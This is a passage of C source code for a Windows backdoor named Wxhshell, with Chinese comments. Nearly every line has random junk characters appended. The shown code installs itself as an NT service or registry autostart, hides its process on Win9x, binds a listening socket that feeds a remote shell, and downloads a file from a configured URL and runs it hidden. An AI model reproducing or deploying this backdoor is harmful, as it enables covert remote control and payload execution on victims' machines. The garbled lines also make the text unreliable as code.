} PROCESS_BASIC_INFORMATION; _8_R 1s
psMvq@>
PROCNTQSIP NtQueryInformationProcess; *6DB0X_-}
g~A`N=r;h
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -:y,N
9^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P! #[mio
+s DV~\Vu
HANDLE hProcess; I75DUJqy]
PROCESS_BASIC_INFORMATION pbi; &AbNWtCV+G
-0x
#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8&`LYdzt
if(NULL == hInst ) return 0; J,y[[CdH`
wyO4Y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }oGA-Qc}B
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y ~!Zg}o
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q:k}Jl
j yUCH*@
if (!NtQueryInformationProcess) return 0;
DwE[D]7o
T!WT;A
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AogVF
if(!hProcess) return 0; !\.pq 2
jQ^|3#L\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R3&Iu=g
ofw3S|F6
CloseHandle(hProcess); * kDC liL
DKJmTH]rUg
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fN^8{w/O
if(hProcess==NULL) return 0; )g#T9tx2D
0Y{yKL
HMODULE hMod;
qwgPk9l
char procName[255]; CxO ob1@
unsigned long cbNeeded; dufu|BL|}
JL}_72gs
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); co|aC!7
EC!02S
CloseHandle(hProcess); 62o:,IcoG
.Una+Z
if(strstr(procName,"services")) return 1; // 以服务启动 3E $f)
Q%tXQP .r
return 0; // 注册表启动 W^LY'ypT
} ex (.=X 1
f=gW]x7'R+
// 主模块 k(7&N0V%zz
int StartWxhshell(LPSTR lpCmdLine) ca*DZG/
{ ']z{{UNUN
SOCKET wsl; YdC6k?tzS
BOOL val=TRUE; rkCx{pe9
int port=0; 4`]^@"{
struct sockaddr_in door; ]i ,{
D_^
nI:
if(wscfg.ws_autoins) Install(); KD7dye
Tg)|or/%
port=atoi(lpCmdLine); O6a<`]F
?2{Gn-{
if(port<=0) port=wscfg.ws_port; &LZn
FR
{xB!EQ"
WSADATA data; =I;ZMJR
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Tc &z:
zFws:_ i
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I%X6T@P
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j2.|ln"!
door.sin_family = AF_INET; {Y=WW7:Qx
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~{B7 k:
door.sin_port = htons(port); K;Uvb(m{&
|5~#&v_
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j94=hJVKi
closesocket(wsl); ;jvBF4Lb>
return 1; KNpl:g3{<Q
} +LZLy9iKt
i&66Fi1
if(listen(wsl,2) == INVALID_SOCKET) { =eXU@B
closesocket(wsl); Yi+wC}
return 1; )j(7]uX`
} OXSmt
DvJ
Wxhshell(wsl); 1;r|g)VM
WSACleanup(); [-k
x_6[P2"PP
return 0; ?o4C;
2%@4]
} pW@Pt 3u
wb5baY9
// 以NT服务方式启动 tip+q d
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OSWYGnZg
{ R_ ,U Mt
DWORD status = 0; 2U\u4NO{
DWORD specificError = 0xfffffff; [OV"}<V
," Wr"
serviceStatus.dwServiceType = SERVICE_WIN32; aa?b`[Xa
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >WQMqQ^t@
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Mxsa-?R;v
serviceStatus.dwWin32ExitCode = 0; k,E{C{^M
serviceStatus.dwServiceSpecificExitCode = 0; EZy)A$|
serviceStatus.dwCheckPoint = 0; QP^Cx=
serviceStatus.dwWaitHint = 0; l7259Ro~
]&xk30
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); otl0JHt*+
if (hServiceStatusHandle==0) return; _jI,)sr4ic
AOWmzu{zw
status = GetLastError(); % X+:o]T
if (status!=NO_ERROR) THbh%)Zv+
{ '()xHEGl3
serviceStatus.dwCurrentState = SERVICE_STOPPED; }=UHbU.n~!
serviceStatus.dwCheckPoint = 0; ?'Xj
g#}<
serviceStatus.dwWaitHint = 0; F2dHH^
serviceStatus.dwWin32ExitCode = status; ogtEAv~e7N
serviceStatus.dwServiceSpecificExitCode = specificError; M7a.8-!1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m!4ndO;0vh
return; fc%xS7&
} )}]g]
g
'(VJ&UlS2
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y. 5_6'Eo?
serviceStatus.dwCheckPoint = 0; gsvuE
serviceStatus.dwWaitHint = 0; " 4K(jXq|
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); goRL1L,5
} f/NH:1)y
?(y*nD[a
// 处理NT服务事件,比如:启动、停止 |`f$tj
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z!#!Gu*V
{ 7 60Y$/Wz
switch(fdwControl) ?m=N]!n
{ #*uL)2nR
case SERVICE_CONTROL_STOP: +p_CN*10H
serviceStatus.dwWin32ExitCode = 0; pb?c$n$u*
serviceStatus.dwCurrentState = SERVICE_STOPPED; .b&t;4q
serviceStatus.dwCheckPoint = 0; *_{j=sd
serviceStatus.dwWaitHint = 0; yAs>{6%-
{ *{@Nq=fE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u\x}8pn
} ='sHj4hU
return; *@r/5pM2}
case SERVICE_CONTROL_PAUSE: 69?wc!
serviceStatus.dwCurrentState = SERVICE_PAUSED; wj<6kG
break; G<8/F<m/
case SERVICE_CONTROL_CONTINUE: gJXq^~-hd
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9ni1f{k
break; SSg8}m5)Q
case SERVICE_CONTROL_INTERROGATE: dA`IEQJL
break; E7 Ul;d
}; 3cyHfpx-W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @= Uh',F
} i2A81>68<
@* jz
o
// 标准应用程序主函数 e&F8m%t
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vnt%XU,,Y
{ 5 +YH.4R
]^n7
// 获取操作系统版本 N1S{suic
OsIsNt=GetOsVer(); {G0T$,'DR
GetModuleFileName(NULL,ExeFile,MAX_PATH); gA+qC7=p$
&yTqZ*Yuk
// 从命令行安装 +z\^t_"f
if(strpbrk(lpCmdLine,"iI")) Install(); 9y8&9<#
S6M}WR^,
// 下载执行文件 +nhLIO{{L
if(wscfg.ws_downexe) { Mj?`j_X
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4qbBc1,7y
WinExec(wscfg.ws_filenam,SW_HIDE); E *6Cw
l
} k&q;JyUi
kT66;Y[
if(!OsIsNt) { B=T'5&
// 如果时win9x,隐藏进程并且设置为注册表启动 >`mVY=Hi
HideProc(); L>&t|T2
StartWxhshell(lpCmdLine); D~fl JR
} b-?gw64#
else sPQQ"|wU
if(StartFromService()) [{,T.;'<j
// 以服务方式启动 Apag{Z]^B
StartServiceCtrlDispatcher(DispatchTable); L>NL:68yN
else 9r<J"%*Q
// 普通方式启动 "]x'PI 4J
StartWxhshell(lpCmdLine); Y%aCMP9j~9
PfD.:amN7
return 0; c(m<h+2VL
}